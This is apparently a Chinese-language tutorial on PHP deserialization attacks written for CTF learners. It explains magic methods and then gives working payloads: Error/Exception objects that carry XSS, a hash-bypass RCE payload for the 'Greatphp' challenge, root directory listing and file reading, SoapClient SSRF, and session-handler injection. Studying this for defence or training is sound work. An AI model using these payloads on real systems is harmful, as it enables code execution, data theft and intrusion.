# 前言
php 文件在执行后对象对象会被销毁,但是这个对象很多情况下我们想要持续的使用,序列化就是这样一个过程,通过序列化我们可以将对象转化成字符串存到磁盘中长期保存
O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}
O:表示序列化的事对象
< length>:表示序列化的类名称长度
< class name>:表示序列化的类的名称
< n >:表示被序列化的对象的变量个数
< field name 1>:属性名
< field value 1>:属性值
demo
<?php | |
class demo{ | |
public $clown="joker"; | |
public $test = "test"; | |
} | |
$a=new demo(); | |
echo serialize($a); | |
//O:4:"demo":2:{s:5:"clown";s:5:"joker";s:4:"test";s:4:"test";} |
# 魔术方法
# __construct (),构造函数
<?php | |
class demo{ | |
public $clown="joker"; | |
public $test = "test"; | |
function __construct(){ | |
echo "hello"; | |
} | |
} | |
$a=new demo(); |
这个函数在类被实例化的时候会自动调用
# __destruct (),析构函数
当类被删除前会自动调用
<?php | |
class demo{ | |
public $clown="joker"; | |
public $test = "test"; | |
function __construct(){ | |
echo "构造函数\n"; | |
} | |
function __destruct(){ | |
echo "析构函数\n"; | |
} | |
} | |
$a=new demo(); | |
echo serialize($a)."\n"; |
# __call (),调用不可调用的方法
该方法有两个参数,第一个参数 $function_name 会自动接收不存在的方法名,第二个 $arguments 则以数组的方式接收不存在方法的多个参数
<?php | |
error_reporting(0); | |
class demo{ | |
public $clown="joker"; | |
public $test = "test"; | |
function __construct(){ | |
echo "构造函数\n"; | |
} | |
function __destruct(){ | |
echo "析构函数\n"; | |
} | |
function __call($name,$arguments){ | |
echo "调用了一个不存在的方法".'$name='.$name.'arguments='.$arguments."\n"; | |
} | |
} | |
$a=new demo(); | |
$a->demo("test"); | |
echo serialize($a)."\n"; |
# __callStatic (),用静态方式调用一个不可调用方法时调用
此方法与上面所说的 __call() 功能除了 __callStatic() 是为静态方法准备的之外,其它都是一样的。
# __get (),获得一个类的私有成员变量的时候调用
<?php | |
error_reporting(0); | |
class demo{ | |
public $clown="joker"; | |
private $test = "test"; | |
function __get($n){ | |
echo 'get$n'."$n"; | |
} | |
} | |
$a=new demo(); | |
echo $a->clown."\n"; | |
echo $a->test."\n"; | |
echo serialize($a)."\n"; |
# __set,设置一个类的成员变量的时候调用
__set ($property, $value) 方法用来设置私有属性, 给一个未定义的属性赋值时,此方法会被触发,传递的参数是被设置的属性名和值,参数 $key 是要操作的变量名称,$value 为变量 $key 的值
<?php | |
error_reporting(0); | |
class demo{ | |
public $clown="joker"; | |
private $test = "test"; | |
function __set($name, $value){ | |
echo "Setting $name to $value\n"; | |
} | |
} | |
$a=new demo(); | |
$a->clown="clown"; | |
$a->test="demo"; | |
echo serialize($a)."\n"; |
# __isset (),不可访问或者不存在属性调用 isset () 或 empty () 时调用
<?php
error_reporting(0);
class demo{
public $clown="joker";
private $test = "test";
function __isset($name){
echo "isset->$name\n";
}
}
$a=new demo();
isset($a->clown);
isset($a->test);
echo serialize($a)."\n";
# __sleep (),序列化的时候优先调用
<?php | |
error_reporting(0); | |
class demo{ | |
public $clown="joker"; | |
private $test = "test"; | |
function __sleep(){ | |
echo "sleeping\n"; | |
return array("clown"); | |
} | |
} | |
$a=new demo(); | |
echo serialize($a)."\n"; |
# __wakeup (),反序列化的优先调用
<?php
error_reporting(0);
class demo{
public $clown="joker";
private $test = "test";
function __sleep(){
echo "sleeping\n";
return array("clown");
}
function __wakeup(){
echo "waking up\n";
}
}
$a=new demo();
$B=serialize($a);
unserialize($B);
# __toString (),类被当成字符串时自动调用
<?php | |
error_reporting(0); | |
class demo{ | |
public $clown="joker"; | |
private $test = "test"; | |
function __toString(){ | |
echo 'toString'."\n"; | |
} | |
} | |
$a=new demo(); | |
echo $a; |
# __invoke (),当类被当作方法时自动调用
<?php | |
error_reporting(0); | |
class demo{ | |
public $clown="joker"; | |
private $test = "test"; | |
function __invoke($a){ | |
echo $a; | |
} | |
} | |
$a=new demo(); | |
$a("test"); |
# __clone (),调用 clone 函数复制类调用
<?php | |
error_reporting(0); | |
class demo{ | |
public $clown="joker"; | |
private $test = "test"; | |
function __clone(){ | |
echo "cloned"; | |
} | |
} | |
$a=new demo(); | |
$b=clone $a; |
# PHP 原生类的使用
既然是反序列化怎么可能会没有原生类的身影?
php 原生类,顾名思义就是在标准 php 库中已经封装好的类,经常遇见的有:
Error | |
Exception | |
SoapClient | |
DirectoryIterator | |
SimpleXMLElement |
# Error/Exception --XSS
Error 类用于 php7 和 php8 中开启保存
Exceotion 类用于 php5、php7 和 php8 中开启报错
# Error
Error 类是从 php7 开始引入的,是所有 php 报错的基类,为什么会和 xss 扯上关系呢?xss 常见的漏洞点在有输出的地方,而在 Error 类中有一个__toString () 魔术方法,当我们把对象当作字符串的时候就会自动调用(demo 可以看看上面),如果这里有个 echo 就可以触发 toString 将异常对象转化成字符串
demo
<?php | |
highlight_file(__FILE__); | |
echo unserialize($_GET['pop']); |
payload:
<?php | |
error_reporting(0); | |
$a=new Error("<script>alert(/xss/)</script>"); | |
echo urlencode(serialize($a)); | |
//O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A37%3A%22C%3A%5CUsers%5C%E9%99%8C%E8%B7%AF%5CDesktop%5Cindex+%281%29.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A3%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D |
# Exception
这里利用方式一样,适应的 php 版本更广
demo
<?php | |
error_reporting(0); | |
$a=new Error("<script>alert(/xss/)</script>"); | |
echo urlencode(serialize($a)); |
payload:
<?php | |
$a=new Exception("<script>alert(1)</script>"); | |
echo urlencode(serialize($a)); | |
//O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A37%3A%22C%3A%5CUsers%5C%E9%99%8C%E8%B7%AF%5CDesktop%5Cindex+%281%29.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D |
# Error/Exception -- 绕过哈希
这里就得提到这两个原生类的属性
message-错误的消息内容
code-错误代码
file-抛出错误的文件名
line-抛出错误的行数
<?php | |
$a=new Error("test",1);$b=new Error("test",2); | |
var_dump($a===$b); | |
echo $a."\n"; | |
echo $b; | |
/* | |
bool (false) | |
Error: test in C:\Users\ 陌路 \Desktop\sheng.php:2 | |
Stack trace: | |
#0 {main} | |
Error: test in C:\Users\ 陌路 \Desktop\sheng.php:2 | |
Stack trace: | |
#0 {main} | |
*/ |
这里 $a 和 $b 不同但是,toString 返回结果相同
这就不得不提到一道经典的例题
[2020 极客大挑战] Greatphp
<?php | |
error_reporting(0); | |
class SYCLOVER { | |
public $syc; | |
public $lover; | |
public function __wakeup(){ | |
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ | |
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ | |
eval($this->syc); | |
} else { | |
die("Try Hard !!"); | |
} | |
} | |
} | |
} | |
if (isset($_GET['great'])){ | |
unserialize($_GET['great']); | |
} else { | |
highlight_file(__FILE__); | |
} | |
?> |
payload:
<?php | |
class SYCLOVER { | |
public $syc; | |
public $lover; | |
} | |
$payload="?><?=include~".urldecode("%d0%99%93%9e%98")."?>"; | |
/* | |
或使用 [~(取反)][!% FF] 的形式, | |
即: $payload = "?><?=include [~".urldecode ("% D0%99%93%9E%98")."][!.urldecode ("% FF")."]?>"; | |
$payload = "?><?=include $_GET [_]?>"; | |
*/ | |
$a=new Error($payload,1);$b=new Error($payload,2); | |
$c=new SYCLOVER(); | |
$c->syc=$a; | |
$c->lover=$b; | |
echo urlencode(serialize($c)); |
# 目录遍历
可遍历目录类有以下几个:
DirectoryIterator 类
FilesystemIterator 类
GlobIterator 类
# DirectoryIterator 类
DirectoryIterator 类提供了一个查看文件系统目录内容的简单接口,
<?php | |
//error_reporting(0); | |
$a=new DirectoryIterator('glob:///*'); | |
foreach($a as $b) { | |
echo $b->getFilename(); | |
} |
<?php | |
//error_reporting(0); | |
$a=new DirectoryIterator('glob:///*'); | |
foreach($a as $b) { | |
echo $b->__toString(); | |
} |
# FilesystemIterator 类
使用方法和 DirectoryIterator 类一样
<?php | |
//error_reporting(0); | |
$a=new FilesystemIterator('/'); | |
foreach($a as $b){ | |
echo $b->getFilename(); | |
} |
<?php | |
//error_reporting(0); | |
$a=new FilesystemIterator('/'); | |
foreach($a as $b){ | |
echo $b->__toString(); | |
} |
# Globlterator 类
使用方法相同这里不再赘述
# 读取文件
目录遍历找到 flag 然后肯定是想办法去读呗
# SplFileObject 类
SplFileInfo 类为单个文件的信息提供了高级的面向对象接口
SplFileInfo::__toString — Returns the path to the file as a string // 将文件路径作为字符串返回
<?php | |
$context = new SplFileObject('test.txt'); | |
foreach($context as $f){ | |
echo($f); | |
} |
# SoapClient--SSRF
SOAP 是基于 XML 的简易协议,可使应用程序在 HTTP 之上进行信息交换。
或者更简单地说:SOAP 是用于访问网络服务的协议。
在 SoapClient
类中,还有一个我们非常熟悉的魔术方法, __call()
方法,当调用类中不存在的方法时就会触发,当触发这个方法后,它就会向 location
中的目标 URL 发送一个 soap
请求
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
<?php | |
$a=new SoapClient(null,array('location'=>'http://192.168.9.129:9876/','uri'=>'test')); | |
echo $a->test(); |
# phar 反序列化
# 前言
来自 Secarma 的安全研究员 Sam Thomas 讲述了一种攻击 PHP 应用的方式,利用 Phar:// 伪协议读取 phar 文件时,会反序列化 meta-data 储存的信息。
想要
# PHAR&phar://
phar 是 php 中一种类似于 java 的 jar 的一种打包文件,在从 5.3 开始的 php 版本中是默认开启的,一个 php 程序可以打包成 phar 在 FPM 中直接运行,说白了他也是压缩包的一种,这里主要是为了实现反序列化,那么就不得不提到 phar://,phar:// 是流包装的一种,流包装为了提高读写效率对字节流或者字符流进行二次处理,这个过程就是包装流或者说处理流
# PHAR 的文件结构
使用 phar 进行反序列化,那么了解 phar 的文件结构是必不可少的(先扔张图)
一个 phar 文件主要包含 4 个部分
# a stub
这一部分的文件结构是 XXX<?php __HALT_COMPILER (); ?> 前面是什么内容都无所谓,但是必须以__HALT_COMPILER (); ?> 结尾,这是 phar 的标识部分,与后缀无关,这里满足就当成 phar 文件来解析
# a manifest describing the contents
这部分就是反序列化漏洞产生的关键,这里存放了如下的信息
其中的 Meta-data 部分就是被序列化的部分
# the file contents
被压缩的文件内容,这里没有啥用,可以随便写
# a signature for verifying phar integrity
这是一个签名,放在文件末尾,格式:
# session 反序列化
在网络应用中,session 是维持会话的一种形式,一种服务端的机制(详细看 xss 中会话劫持中有较详细描述)
# 简介
漏洞的产生主要是由下面三种反序列化引擎不同产生的漏洞(这里指序列化和反序列化使用的引擎不同导致)
# session 的工作流程
首先 session_start () 函数开启一个会话,去检测 PHPSESSID
- 如果 cookie 存在就获取到 PHPSESSID
- 如果不存在就生成一个 PHPSESSID 用以标识用户的登录状态,以 Cookie 的形式保存到客户端
- 初始化 $_SESSION 变量
- 程序运行结束,将 $_SESSION 中的数据序列化后存储到 PHPSESSID 文件中
- 将包含 PHPSESSID 值的 cookie 通过响应头返回给浏览器
- 再次请求时已经有 SESSID 于是去序列化读取文件将序列化的数据存放到 $_SESSION 变量中
# 原理
首先来看一看 php.ini 中的一些关于 Session 的配置
session.save_path="" --设置session的存储路径
session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php
在这里有相关配置的详细信息
上面有提到,session 反序列化漏洞的产生是因为序列化和反序列化使用的引擎不同导致的,这里简单介绍一下三种不同的引擎
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
这里写一个简单的 demo
<?php | |
ini_set('session.serialize_handler', 'php'); | |
//ini_set('session.serialize_handler', 'php_binary'); | |
//ini_set('session.serialize_handler', 'php_serialize'); | |
session_start(); | |
$_SESSION['demo'] = 'test'; | |
var_dump($_SESSION); |
<?php | |
//ini_set('session.serialize_handler', 'php'); | |
ini_set('session.serialize_handler', 'php_binary'); | |
//ini_set('session.serialize_handler', 'php_serialize'); | |
session_start(); | |
$_SESSION['demo'] = 'test'; | |
var_dump($_SESSION); |
<?php | |
//ini_set('session.serialize_handler', 'php'); | |
//ini_set('session.serialize_handler', 'php_binary'); | |
ini_set('session.serialize_handler', 'php_serialize'); | |
session_start(); | |
$_SESSION['demo'] = 'test'; | |
var_dump($_SESSION); |
上面主要是简单的展示一下几个引擎的不同点,接下来接着对整个产生的过程进行一个简单的测试
test.php
<?php | |
ini_set('session.serialize_handler', 'php_serialize'); | |
session_start(); | |
$_SESSION['demo'] = $_GET['demo']; | |
var_dump($_SESSION); |
test2.php
<?php | |
ini_set('session.serialize_handler', 'php'); | |
session_start(); | |
class Demo { | |
public $demo; | |
function __wakeup() { | |
echo $this->demo; | |
} | |
} |
payload
<?php | |
class Demo { | |
public $demo="success"; | |
} | |
echo serialize(new Demo); |
首先将生成的 payload 前面加上一个 |, 传入 test.php 中,这时会生成一个文件,文件内容是
a:1:{s:4:"demo";s:41:"|O:4:"Demo":1:{s:4:"demo";s:7:"success";}
接着访问 test2.php,看到 success 则测试成功